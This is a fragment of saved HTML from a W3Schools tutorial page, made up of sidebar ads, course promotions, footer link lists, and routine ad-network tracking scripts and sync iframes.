</span>❯</a> </div> <div id="mypagediv2" style="position:relative;text-align:center;"></div> <br> </div> <div class="w3-col l2 m12" id="right"> <div class="sidesection"> <div id="skyscraper"> <div id="adngin-sidebar_top-0" data-google-query-id="CJXA_sueqvcCFXiOSwUd2fYBLg"><div id="sn_ad_label_adngin-sidebar_top-0" class="sn_ad_label" style="color:#000000;font-size:12px;margin:0;text-align:center;">ADVERTISEMENT</div><div id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//wide_skyscraper_1__container__" style="border: 0pt none;"><iframe id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//wide_skyscraper_1" name="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//wide_skyscraper_1" title="3rd party ad content" width="320" height="50" scrolling="no" marginwidth="0" marginheight="0" frameborder="0" role="region" aria-label="Advertisement" tabindex="0" srcdoc="" data-google-container-id="9" style="border: 0px; vertical-align: bottom;" data-load-complete="true"></iframe></div></div> </div> </div> <style> .ribbon-vid { font-size:12px; font-weight:bold; padding: 6px 20px; left:-20px; top:-10px; text-align: center; color:black; border-radius:25px; } </style> <div class="sidesection" id="video_sidesection"> <div class="w3-center" style="padding-bottom:7px"> <span class="ribbon-vid ws-yellow">NEW</span> </div> <p style="font-size: 14px;line-height: 1.5;font-family: Source Sans Pro;padding-left:4px;padding-right:4px;">We just launched<br>W3Schools videos</p> <a onclick="ga('send', 'event', 'Videos' , 'fromSidebar');" href="https://www.w3schools.com/videos/index.php" class="w3-hover-opacity"><img src="/images/htmlvideoad_footer.png" style="max-width:100%;padding:5px 10px 25px 10px" loading="lazy"></a> <a class="ws-button" style="font-size:16px;text-decoration: none !important;display: block !important; color:#FFC0C7!important; width: 100%; border-bottom-left-radius: 5px; border-bottom-right-radius: 5px; paxdding-top: 10px; padding-bottom: 20px; font-family: 'Source Sans Pro', sans-serif; text-align: center;" onclick="ga('send', 'event', 'Videos' , 'fromSidebar');" href="https://www.w3schools.com/videos/index.php">Explore now</a> </div> <div class="sidesection"> <h4><a href="/colors/colors_picker.asp">COLOR PICKER</a></h4> <a href="/colors/colors_picker.asp"> <img src="/images/colorpicker2000.png" alt="colorpicker" loading="lazy"> </a> </div> <div class="sidesection"> <!--<h4>LIKE US</h4>--> <div class="sharethis" style="visibility: visible;"> <a href="https://www.facebook.com/w3schoolscom/" target="_blank" title="Facebook"><span class="fa fa-facebook-square fa-2x"></span></a> <a href="https://www.instagram.com/w3schools.com_official/" target="_blank" title="Instagram"><span class="fa fa-instagram fa-2x"></span></a> <a href="https://www.linkedin.com/company/w3schools.com/" target="_blank" title="LinkedIn"><span class="fa fa-linkedin-square fa-2x"></span></a> <a href="https://discord.gg/6Z7UaRbUQM" target="_blank" title="Join the W3schools community on Discord"><span class="fa fa-discord fa-2x"></span></a> </div> </div> <!-- <div class="sidesection" style="border-radius:5px;color:#555;padding-top:1px;padding-bottom:8px;margin-left:auto;margin-right:auto;max-width:230px;background-color:#d4edda"> <p>Get your<br>certification today!</p> <a href="/cert/default.asp" target="_blank"> <img src="/images/w3certified_logo_250.png" style="margin:0 12px 20px 10px;max-width:80%"> </a> <a class="w3-btn w3-margin-bottom" style="text-decoration:none;border-radius:5px;" href="/cert/default.asp" target="_blank">View options</a> </div> --> <style> #courses_get_started_btn { text-decoration:none !important; background-color:#04AA6D; width:100%; border-bottom-left-radius:5px; border-bottom-right-radius:5px; padding-top:10px; padding-bottom:10px; font-family: 'Source Sans Pro', sans-serif; } #courses_get_started_btn:hover { background-color:#059862!important; } </style> <div id="internalCourses" class="sidesection"> <p style="font-size:18px;padding-left:2px;padding-right:2px;">Get certified<br>by completing<br>a course today!</p> <a href="https://courses.w3schools.com" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on courses banner in ads column');"> <div style="padding:0 20px 20px 20px"> <svg id="w3_cert_badge2" style="margin:auto;width:85%" data-name="w3_cert_badge2" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 300 300"><defs><style>.cls-1{fill:#04aa6b;}.cls-2{font-size:23px;}.cls-2,.cls-3,.cls-4{fill:#fff;}.cls-2,.cls-3{font-family:RobotoMono-Medium, Roboto Mono;font-weight:500;}.cls-3{font-size:20.08px;}</style></defs><circle class="cls-1" cx="150" cy="150" r="146.47" transform="translate(-62.13 150) rotate(-45)"></circle><text class="cls-2" transform="translate(93.54 63.89) rotate(-29.5)">w</text><text class="cls-2" transform="translate(107.13 56.35) rotate(-20.8)">3</text><text class="cls-2" transform="matrix(0.98, -0.21, 0.21, 0.98, 121.68, 50.97)">s</text><text class="cls-2" transform="translate(136.89 47.84) rotate(-3.47)">c</text><text class="cls-2" transform="translate(152.39 47.03) rotate(5.12)">h</text><text class="cls-2" transform="translate(167.85 48.54) rotate(13.72)">o</text><text class="cls-2" transform="translate(182.89 52.35) rotate(22.34)">o</text><text class="cls-2" transform="matrix(0.86, 0.52, -0.52, 0.86, 197.18, 58.36)">l</text><text class="cls-2" transform="matrix(0.77, 0.64, -0.64, 0.77, 210.4, 66.46)">s</text><text class="cls-3" transform="translate(35.51 186.66) rotate(69.37)"> </text><text class="cls-3" transform="matrix(0.47, 0.88, -0.88, 0.47, 41.27, 201.28)">C</text><text class="cls-3" transform="matrix(0.58, 0.81, -0.81, 0.58, 48.91, 215.03)">E</text><text class="cls-3" transform="matrix(0.67, 0.74, -0.74, 0.67, 58.13, 227.36)">R</text><text class="cls-3" transform="translate(69.16 238.92) rotate(39.44)">T</text><text class="cls-3" transform="matrix(0.85, 0.53, -0.53, 0.85, 81.47, 248.73)">I</text><text class="cls-3" transform="translate(94.94 256.83) rotate(24.36)">F</text><text class="cls-3" transform="translate(109.34 263.09) rotate(16.83)">I</text><text class="cls-3" transform="translate(124.46 267.41) rotate(9.34)">E</text><text class="cls-3" transform="translate(139.99 269.73) rotate(1.88)">D</text><text class="cls-3" transform="translate(155.7 270.01) rotate(-5.58)"> </text><text class="cls-3" transform="translate(171.32 268.24) rotate(-13.06)"> </text><text class="cls-2" transform="translate(187.55 266.81) rotate(-21.04)">.</text><text class="cls-3" transform="translate(203.27 257.7) rotate(-29.24)"> </text><text class="cls-3" transform="translate(216.84 249.83) rotate(-36.75)"> </text><text class="cls-3" transform="translate(229.26 240.26) rotate(-44.15)">2</text><text class="cls-3" transform="translate(240.39 229.13) rotate(-51.62)">0</text><text class="cls-3" transform="translate(249.97 216.63) rotate(-59.17)">2</text><text class="cls-3" transform="matrix(0.4, -0.92, 0.92, 0.4, 257.81, 203.04)">2</text><path class="cls-4" d="M196.64,136.31s3.53,3.8,8.5,3.8c3.9,0,6.75-2.37,6.75-5.59,0-4-3.64-5.81-8-5.81h-2.59l-1.53-3.48,6.86-8.13a34.07,34.07,0,0,1,2.7-2.85s-1.11,0-3.33,0H194.79v-5.86H217.7v4.28l-9.19,10.61c5.18.74,10.24,4.43,10.24,10.92s-4.85,12.3-13.19,12.3a17.36,17.36,0,0,1-12.41-5Z"></path><path class="cls-4" d="M152,144.24l30.24,53.86,14.94-26.61L168.6,120.63H135.36l-13.78,24.53-13.77-24.53H77.93l43.5,77.46.15-.28.16.28Z"></path></svg> </div> </a> <a class="w3-btn" id="courses_get_started_btn" href="https://courses.w3schools.com" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on courses banner in ads column');">Get started</a> </div> <!-- <div class="sidesection" style="margin-left:auto;margin-right:auto;max-width:230px"> <a href="https://shop.w3schools.com/" target="_blank" title="Buy W3Schools Merchandize"> <img src="/images/tshirt.jpg" style="max-width:100%;"> </a> </div> --> <div class="sidesection" id="moreAboutSubject"> </div> <!-- <div id="sidesection_exercise" class="sidesection" style="background-color:#555555;max-width:200px;margin:auto;margin-bottom:32px"> <div class="w3-container w3-text-white"> <h4>Exercises</h4> </div> <div> <div class="w3-light-grey"> <a target="_blank" href="/html/exercise.asp" style="padding-top:8px">HTML</a> <a target="_blank" href="/css/exercise.asp">CSS</a> <a target="_blank" href="/js/exercise_js.asp">JavaScript</a> <a target="_blank" href="/sql/exercise.asp">SQL</a> <a target="_blank" href="/php/exercise.asp">PHP</a> <a target="_blank" href="/python/exercise.asp">Python</a> <a target="_blank" href="/bootstrap/exercise_bs3.asp">Bootstrap</a> <a target="_blank" href="/jquery/exercise_jq.asp" style="padding-bottom:8px">jQuery</a> </div> </div> </div> --> <div class="sidesection codegameright ws-turquoise" style="font-size:18px;font-family: 'Source Sans Pro', sans-serif;border-radius:5px;color:#FFC0C7;padding-top:12px;margin-left:auto;margin-right:auto;max-width:230px;"> <style> .codegameright .w3-btn:link,.codegameright .w3-btn:visited { background-color:#04AA6D; border-radius:5px; } .codegameright .w3-btn:hover,.codegameright .w3-btn:active { background-color:#059862!important; text-decoration:none!important; } </style> <h4><a href="/codegame/index.html" class="w3-hover-text-black">CODE GAME</a></h4> <a href="/codegame/index.html" target="_blank" class="w3-hover-opacity"><img style="max-width:100%;margin:16px 0;" src="/images/w3lynx_200.png" alt="Code Game" loading="lazy"></a> <a class="w3-btn w3-block ws-black" href="/codegame/index.html" target="_blank" style="padding-top:10px;padding-bottom:10px;margin-top:12px;border-top-left-radius: 0;border-top-right-radius: 0">Play Game</a> </div> <!-- <div class="sidesection w3-light-grey" style="margin-left:auto;margin-right:auto;max-width:230px"> <div class="w3-container w3-dark-grey"> <h4><a href="/howto/default.asp" class="w3-hover-text-white">HOW TO</a></h4> </div> <div class="w3-container w3-left-align w3-padding-16"> <a href="/howto/howto_js_tabs.asp">Tabs</a><br> <a href="/howto/howto_css_dropdown.asp">Dropdowns</a><br> <a href="/howto/howto_js_accordion.asp">Accordions</a><br> <a href="/howto/howto_js_sidenav.asp">Side Navigation</a><br> <a href="/howto/howto_js_topnav.asp">Top Navigation</a><br> <a href="/howto/howto_css_modals.asp">Modal Boxes</a><br> <a href="/howto/howto_js_progressbar.asp">Progress Bars</a><br> <a href="/howto/howto_css_parallax.asp">Parallax</a><br> <a href="/howto/howto_css_login_form.asp">Login Form</a><br> <a href="/howto/howto_html_include.asp">HTML Includes</a><br> <a href="/howto/howto_google_maps.asp">Google Maps</a><br> <a href="/howto/howto_js_rangeslider.asp">Range Sliders</a><br> <a href="/howto/howto_css_tooltip.asp">Tooltips</a><br> <a href="/howto/howto_js_slideshow.asp">Slideshow</a><br> <a href="/howto/howto_js_sort_list.asp">Sort List</a><br> </div> </div> --> <!-- <div class="sidesection w3-round" style="margin-left:auto;margin-right:auto;max-width:230px"> <div class="w3-container ws-black" style="border-top-right-radius:5px;border-top-left-radius:5px;"> <h5><a href="/cert/default.asp" class="w3-hover-text-white">Certificates</a></h5> </div> <div class="w3-border" style="border-bottom-right-radius:5px;border-bottom-left-radius:5px;"> <a href="/cert/cert_html.asp" class="w3-button ws-grey w3-block w3-border-bottom" style="text-decoration:none">HTML</a> <a href="/cert/cert_css.asp" class="w3-button ws-grey w3-block w3-border-bottom" style="text-decoration:none">CSS</a> <a href="/cert/cert_javascript.asp" class="w3-button ws-grey w3-block w3-border-bottom" style="text-decoration:none">JavaScript</a> <a href="/cert/cert_frontend.asp" class="w3-button ws-grey w3-block w3-border-bottom" style="text-decoration:none">Front End</a> <a href="/cert/cert_python.asp" class="w3-button ws-grey w3-block w3-border-bottom" style="text-decoration:none">Python</a> <a href="/cert/cert_sql.asp" class="w3-button ws-grey w3-block w3-border-bottom" style="text-decoration:none">SQL</a> <a href="/cert/default.asp" class="w3-button ws-grey w3-block" style="text-decoration:none;">And more</a> </div> </div> --> <div id="stickypos" class="sidesection" style="text-align:center;position:sticky;top:50px;"> <div id="stickyadcontainer" style="width: 653.984px;"> <div style="position:relative;margin:auto;"> <div id="adngin-sidebar_sticky-0-stickypointer" style=""><div id="adngin-sidebar_sticky-0" style=""><div id="sn_ad_label_adngin-sidebar_sticky-0" class="sn_ad_label" style="color:#000000;font-size:12px;margin:0;text-align:center;">ADVERTISEMENT</div></div></div> <script> function secondSnigel() { if(window.adngin && window.adngin.adnginLoaderReady) { if (Number(w3_getStyleValue(document.getElementById("main"), "height").replace("px", "")) > 2200) { if (document.getElementById("adngin-mid_content-0")) { adngin.queue.push(function(){ adngin.cmd.startAuction(["sidebar_sticky", "mid_content" ]); }); } else { adngin.queue.push(function(){ adngin.cmd.startAuction(["sidebar_sticky"]); }); } } else { if (document.getElementById("adngin-mid_content-0")) { adngin.queue.push(function(){ adngin.cmd.startAuction(["mid_content"]); }); } } } else { window.addEventListener('adnginLoaderReady', function() { if (Number(w3_getStyleValue(document.getElementById("main"), "height").replace("px", "")) > 2200) { if (document.getElementById("adngin-mid_content-0")) { adngin.queue.push(function(){ adngin.cmd.startAuction(["sidebar_sticky", "mid_content" ]); }); } else { adngin.queue.push(function(){ adngin.cmd.startAuction(["sidebar_sticky"]); }); } } else { if (document.getElementById("adngin-mid_content-0")) { adngin.queue.push(function(){ adngin.cmd.startAuction(["mid_content"]); }); } } }); } } </script> </div> </div> </div> <script> uic_r_c() </script> </div> </div> <div id="footer" class="footer w3-container w3-white"> <hr> <div style="overflow:auto"> <div class="bottomad"> <!-- BottomMediumRectangle --> <!--<pre>bottom_medium_rectangle, all: [970,250][300,250][336,280]</pre>--> <div id="adngin-bottom_left-0" style="padding:0 10px 10px 0;float:left;width:auto;" data-google-query-id="CJbA_sueqvcCFXiOSwUd2fYBLg"><div id="sn_ad_label_adngin-bottom_left-0" class="sn_ad_label" style="color:#000000;font-size:12px;margin:0;text-align:center;">ADVERTISEMENT</div><div id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//bottom_medium_rectangle_1__container__" style="border: 0pt none;"><iframe id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//bottom_medium_rectangle_1" name="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//bottom_medium_rectangle_1" title="3rd party ad content" width="300" height="250" scrolling="no" marginwidth="0" marginheight="0" frameborder="0" role="region" aria-label="Advertisement" tabindex="0" srcdoc="" data-google-container-id="a" style="border: 0px; vertical-align: bottom;" data-load-complete="true"></iframe></div></div> <!-- adspace bmr --> <!-- RightBottomMediumRectangle --> <!--<pre>right_bottom_medium_rectangle, desktop: [300,250][336,280]</pre>--> <div id="adngin-bottom_right-0" style="padding:0 10px 10px 0;float:left;width:auto;"><div id="sn_ad_label_adngin-bottom_right-0" class="sn_ad_label" style="color:#000000;font-size:12px;margin:0;text-align:center;">ADVERTISEMENT</div></div> </div> </div> <hr> <div class="w3-row-padding w3-center w3-small" style="margin:0 -16px;"> <div class="w3-col l3 m3 s12"> <a class="w3-button ws-grey ws-hover-black w3-block w3-round" href="javascript:void(0);" onclick="displayError();return false" style="white-space:nowrap;text-decoration:none;margin-top:1px;margin-bottom:1px;font-size:15px;">Report Error</a> </div> <!-- <div class="w3-col l3 m3 s12"> <a class="w3-button w3-light-grey w3-block" href="javascript:void(0);" target="_blank" onclick="printPage();return false;" style="text-decoration:none;margin-top:1px;margin-bottom:1px">PRINT PAGE</a> </div> --> <div class="w3-col l3 m3 s12"> <a class="w3-button ws-grey ws-hover-black w3-block w3-round" href="/forum/default.asp" target="_blank" style="text-decoration:none;margin-top:1px;margin-bottom:1px;font-size:15px">Forum</a> </div> <div class="w3-col l3 m3 s12"> <a class="w3-button ws-grey ws-hover-black w3-block w3-round" href="/about/default.asp" target="_top" style="text-decoration:none;margin-top:1px;margin-bottom:1px;font-size:15px">About</a> </div> <div class="w3-col l3 m3 s12"> <a class="w3-button ws-grey ws-hover-black w3-block w3-round" href="https://shop.w3schools.com/" target="_blank" style="text-decoration:none;margin-top:1px;margin-bottom:1px;font-size:15px">Shop</a> </div> </div> <hr> <div class="ws-grey w3-padding w3-margin-bottom" id="err_form" style="display:none;position:relative"> <span onclick="this.parentElement.style.display='none'" class="w3-button w3-display-topright w3-large">×</span> <h2>Report Error</h2> <p>If you want to report an error, or if you want to make a suggestion, do not hesitate to send us an e-mail:</p> <p>help@w3schools.com</p> <br> <!-- <h2>Your Suggestion:</h2> <form> <div class="w3-section"> <label for="err_email">Your E-mail:</label> <input class="w3-input w3-border" type="text" style="margin-top:5px;width:100%" id="err_email" name="err_email"> </div> <div class="w3-section"> <label for="err_email">Page address:</label> <input class="w3-input w3-border" type="text" style="width:100%;margin-top:5px" id="err_url" name="err_url" disabled="disabled"> </div> <div class="w3-section"> <label for="err_email">Description:</label> <textarea rows="10" class="w3-input w3-border" id="err_desc" name="err_desc" style="width:100%;margin-top:5px;resize:vertical;"></textarea> </div> <div class="form-group"> <button type="button" class="w3-button w3-dark-grey" onclick="sendErr()">Submit</button> </div> <br> </form> --> </div> <div class="w3-container ws-grey w3-padding" id="err_sent" style="display:none;position:relative"> <span onclick="this.parentElement.style.display='none'" class="w3-button w3-display-topright">×</span> <h2>Thank You For Helping Us!</h2> <p>Your message has been sent to W3Schools.</p> </div> <div class="w3-row w3-center w3-small"> <div class="w3-col l3 m6 s12"> <div class="top10"> <h5 style="font-family: 'Source Sans Pro', sans-serif;">Top Tutorials</h5> <a href="/html/default.asp">HTML Tutorial</a><br> <a href="/css/default.asp">CSS Tutorial</a><br> <a href="/js/default.asp">JavaScript Tutorial</a><br> <a href="/howto/default.asp">How To Tutorial</a><br> <a href="/sql/default.asp">SQL Tutorial</a><br> <a href="/python/default.asp">Python Tutorial</a><br> <a href="/w3css/default.asp">W3.CSS Tutorial</a><br> <a href="/bootstrap/bootstrap_ver.asp">Bootstrap Tutorial</a><br> <a href="/php/default.asp">PHP Tutorial</a><br> <a href="/java/default.asp">Java Tutorial</a><br> <a href="/cpp/default.asp">C++ Tutorial</a><br> <a href="/jquery/default.asp">jQuery Tutorial</a><br> </div> </div> <div class="w3-col l3 m6 s12"> <div class="top10"> <h5 style="font-family: 'Source Sans Pro', sans-serif;">Top References</h5> <a href="/tags/default.asp">HTML Reference</a><br> <a href="/cssref/default.asp">CSS Reference</a><br> <a href="/jsref/default.asp">JavaScript Reference</a><br> <a href="/sql/sql_ref_keywords.asp">SQL Reference</a><br> <a href="/python/python_reference.asp">Python Reference</a><br> <a href="/w3css/w3css_references.asp">W3.CSS Reference</a><br> <a href="/bootstrap/bootstrap_ref_all_classes.asp">Bootstrap Reference</a><br> <a href="/php/php_ref_overview.asp">PHP Reference</a><br> <a href="/colors/colors_names.asp">HTML Colors</a><br> <a href="/java/java_ref_keywords.asp">Java Reference</a><br> <a href="/angular/angular_ref_directives.asp">Angular Reference</a><br> <a href="/jquery/jquery_ref_overview.asp">jQuery Reference</a><br> </div> </div> <div class="w3-col l3 m6 s12"> <div class="top10"> <h5 style="font-family: 'Source Sans Pro', sans-serif;">Top Examples</h5> <a href="/html/html_examples.asp">HTML Examples</a><br> <a href="/css/css_examples.asp">CSS Examples</a><br> <a href="/js/js_examples.asp">JavaScript Examples</a><br> <a href="/howto/default.asp">How To Examples</a><br> <a href="/sql/sql_examples.asp">SQL Examples</a><br> <a href="/python/python_examples.asp">Python Examples</a><br> <a href="/w3css/w3css_examples.asp">W3.CSS Examples</a><br> <a href="/bootstrap/bootstrap_examples.asp">Bootstrap Examples</a><br> <a href="/php/php_examples.asp">PHP Examples</a><br> <a href="/java/java_examples.asp">Java Examples</a><br> <a href="/xml/xml_examples.asp">XML Examples</a><br> <a href="/jquery/jquery_examples.asp">jQuery Examples</a><br> </div> </div> <div class="w3-col l3 m6 s12"> <div class="top10"> <!-- <h4>Web Certificates</h4> <a href="/cert/default.asp">HTML Certificate</a><br> <a href="/cert/default.asp">CSS Certificate</a><br> <a href="/cert/default.asp">JavaScript Certificate</a><br> <a href="/cert/default.asp">SQL Certificate</a><br> <a href="/cert/default.asp">Python Certificate</a><br> <a href="/cert/default.asp">PHP Certificate</a><br> <a href="/cert/default.asp">Bootstrap Certificate</a><br> <a href="/cert/default.asp">XML Certificate</a><br> <a href="/cert/default.asp">jQuery Certificate</a><br> <a href="//www.w3schools.com/cert/default.asp" class="w3-button w3-margin-top w3-dark-grey" style="text-decoration:none"> Get Certified »</a> --> <h5 style="font-family: 'Source Sans Pro', sans-serif;">Web Courses</h5> <a href="https://courses.w3schools.com/courses/html" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on html course link in footer');">HTML Course</a><br> <a href="https://courses.w3schools.com/courses/css" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on css course link in footer');">CSS Course</a><br> <a href="https://courses.w3schools.com/courses/javascript" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on javascript course link in footer');">JavaScript Course</a><br> <a href="https://courses.w3schools.com/programs/front-end" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on Front End course link in footer');">Front End Course</a><br> <a href="https://courses.w3schools.com/courses/sql" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on sql course link in footer');">SQL Course</a><br> <a href="https://courses.w3schools.com/courses/python" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on python course link in footer');">Python Course</a><br> <a href="https://courses.w3schools.com/courses/php" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on php course link in footer');">PHP Course</a><br> <a href="https://courses.w3schools.com/courses/jquery" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on jquery course link in footer');">jQuery Course</a><br> <a href="https://courses.w3schools.com/courses/java" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on Java course link in footer');">Java Course</a><br> <a href="https://courses.w3schools.com/courses/cplusplus" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on C++ course link in footer');">C++ Course</a><br> <a href="https://courses.w3schools.com/courses/c-sharp" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on bootstrap C# link in footer');">C# Course</a><br> <a href="https://courses.w3schools.com/courses/xml" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on xml course link in footer');">XML Course</a><br> <a href="https://courses.w3schools.com/" target="_blank" class="w3-button w3-margin-top ws-black ws-hover-black w3-round" style="text-decoration:none" onclick="ga('send', 'event', 'Courses' , 'Clicked on get certified button in footer');"> Get Certified »</a> </div> </div> </div> <hr> <div class="w3-center w3-small w3-opacity"> W3Schools is optimized for learning and training. Examples might be simplified to improve reading and learning. Tutorials, references, and examples are constantly reviewed to avoid errors, but we cannot warrant full correctness of all content. While using W3Schools, you agree to have read and accepted our <a href="/about/about_copyright.asp">terms of use</a>, <a href="/about/about_privacy.asp">cookie and privacy policy</a>.<br><br> <a href="/about/about_copyright.asp">Copyright 1999-2022</a> by Refsnes Data. All Rights Reserved.<br> <a href="//www.w3schools.com/w3css/default.asp">W3Schools is Powered by W3.CSS</a>.<br><br> </div> <div class="w3-center w3-small"> <a href="//www.w3schools.com"> <i class="fa fa-logo ws-text-green ws-hover-text-green" style="position:relative;font-size:42px!important;"></i> </a></div><a href="//www.w3schools.com"> <br><br> </a></div><a href="//www.w3schools.com"> </a></div><iframe name="__tcfapiLocator" style="display: none;"></iframe><iframe name="__uspapiLocator" style="display: none;"></iframe><a href="//www.w3schools.com"> <script src="/lib/w3schools_footer.js?update=20220202"></script> <script> MyLearning.loadUser('footer'); function docReady(fn) { document.addEventListener("DOMContentLoaded", fn); if (document.readyState === "interactive" || document.readyState === "complete" ) { fn(); } } uic_r_z(); uic_r_d() </script><iframe src="https://56d0da6c34aaa471db22bb4266aac656.safeframe.googlesyndication.com/safeframe/1-0-38/html/container.html" style="visibility: hidden; display: none;"></iframe> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script> <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script> <![endif]--> </a><script type="text/javascript" src="https://geo.moatads.com/n.js?e=35&ol=3318087536&qn=%604%7BZEYwoqI%24%5BK%2BdLLU)%2CMm~tM!90vv9L%24%2FoDb%2Fz(lKm3GFlNUU%2Cu%5Bh_GcS%25%5BHvLU%5B4(K%2B%7BgeFWl_%3DNqUXR%3A%3D%2BAxMn%3Ch%2CyenA8p%2FHm%24%60%233P(ry5*ZRocMp1tq%5BN%7Bq%60RP%3CG.ceFW%7CoG%22mxT%3Bwv%40V374BKm55%3D%261fp%5BoU5t(KX%3C%3Ce%24%26%3B%23wPjrBEe31k5X%5BG%5E%5B)%2C2iVSWf3Stnq%263t!9jr%7BRzI%2C%7BOCb%25%24(%3DNqU%60W5u%7Bo(zs1CoK%2Bdr%5BG)%2C3ii)RGL3emgSuRVE&tf=1_nMzjG---CSa7H-1SJH-bW7qhB-LRwqH-nMzjG-&vi=111111&rb=2-90xv0J4P%2FoMsPm8%2BZbNmT2EB%2BBOA3JNdQL68hLPh4bg2%2F%2FnQIIWF3Q%3D%3D&rs=1-iHtHGE9B1zA1OQ%3D%3D&sc=1&os=1-3g%3D%3D&qp=10000&is=BBBBB2BBEYBvGl2BBCkqtUTE1RmsqbKW8BsrBu0rCFE48CRBeeBS2hWTMBBQeQBBn2soYggyUig0CBlWZ0uBBCCCCCCOgRBBiOfnE6Bkg7Oxib8MxOtJYHCBdm5kBhIcC9Y8oBXckXBR76iUUsJBCBBBBBBBBBWBBBj3BBBZeGV2BBBCMciUBBBjgEBBBBBB94UMgTdJMtEcpMBBBQBBBniOccBBBBBB47kNwxBbBBBBBBBBBhcjG6BBJM2L4Bk8BwCBQmIoRBBCzBz1BBCTClBBrbGBC4ehueB57NG9aJeRzBqEKBBBBBBB&iv=8&qt=0&gz=0&hh=0&hn=0&tw=&qc=0&qd=0&qf=1240&qe=883&qh=1280&qg=984&qm=-330&qa=1280&qb=1024&qi=1280&qj=984&to=000&po=1-0020002000002120&vy=ot%24b%5Bh%40%22oDgO%3DLlE6%3Avy%2CUitwb4%5Du!%3CFo%40Y_3r%3F%5DAY~MhXyz%26_%5B*Rp%7C%3EoDKmsiFDRz%5EmlNM%22%254ZpaR%5BA7Do%2C%3Bg%2C%2C%40W7RbzTmejO%3Def%2C%7Bvp%7C9%7C_%3Bm_Qrw5.W%2F84VKp%40i6AKx!ehV%7Du!%3CFo%40pF&ql=%3B%5BpwxnRd%7Dt%3Aa%5DmJVOG)%2C~%405%2F%5BGI%3F6C(TgPB*e%5D1(rI%24(rj2Iy!pw%40aOS%3DyNX8Y%7BQgPB*e%5D1(rI%24(rj%5EB61%2F%3DSqcMr1%7B%2CJA%24Jz_%255tTL%3Fwbs_T%234%25%60X%3CA&qo=0&qr=0&i=TRIPLELIFT1&hp=1&wf=1&ra=1&pxm=8&sgs=3&vb=6&kq=1&hq=0&hs=0&hu=0&hr=0&ht=1&dnt=0&bq=0&f=0&j=https%3A%2F%2Fwww.google.com&t=1650718754860&de=466991431602&m=0&ar=bee2df476bf-clean&iw=2a1d5c5&q=2&cb=0&ym=0&cu=1650718754860&ll=3&lm=0&ln=1&r=0&em=0&en=0&d=6737%3A94724%3Aundefined%3A10&zMoatTactic=undefined&zMoatPixelParams=aid%3A29695277962791520917040%3Bsr%3A10%3Buid%3A0%3B&zMoatOrigSlicer1=2662&zMoatOrigSlicer2=39&zMoatJS=-&zGSRC=1&gu=https%3A%2F%2Fwww.w3schools.com%2Ftags%2Ftag_p.asp&id=1&ii=4&bo=2662&bd=w3schools.com&gw=triplelift879988051105&fd=1&ac=1&it=500&ti=0&ih=1&pe=1%3A512%3A512%3A1026%3A846&jm=-1&fs=198121&na=2100642455&cs=0&ord=1650718754860&jv=1483802810&callback=DOMlessLLDcallback_5147906"></script><iframe src="https://www.google.com/recaptcha/api2/aframe" width="0" height="0" style="display: none;"></iframe></body><iframe sandbox="allow-scripts allow-same-origin" id="936be7941bd9c5c" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://jp-u.openx.net/w/1.0/pd?plm=6&ph=8a7ca719-8c2c-4c16-98ad-37ac6dbf26e9&gdpr=0&us_privacy=1---"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="94da8182082e79b" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://eus.rubiconproject.com/usync.html?us_privacy=1---"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="950ad185776f97c" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://cdn.connectad.io/connectmyusers.php?us_privacy=1---&"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="960961bdb263a5c" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://ads.pubmatic.com/AdServer/js/user_sync.html?kdntuid=1&p=157369&gdpr=0&gdpr_consent=&us_privacy=1---"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="973d77507d8ed2c" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://s.amazon-adsystem.com/iu3?cm3ppd=1&d=dtb-pub&csif=t&dl=n-index_pm-db5_ym_rbd_n-vmg_ox-db5_smrt_an-db5_3lift"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="986df094b3ccc6f" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://biddr.brealtime.com/check.html"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="9984b091a86efa7" frameborder="0" allowtransparency="true" marginheight="0" marginwidth="0" width="0" hspace="0" vspace="0" height="0" style="height:0px;width:0px;display:none;" scrolling="no" src="https://js-sec.indexww.com/um/ixmatch.html"> </iframe><iframe sandbox="allow-scripts allow-same-origin" id="1004b17db44af55b" frameborder="0" 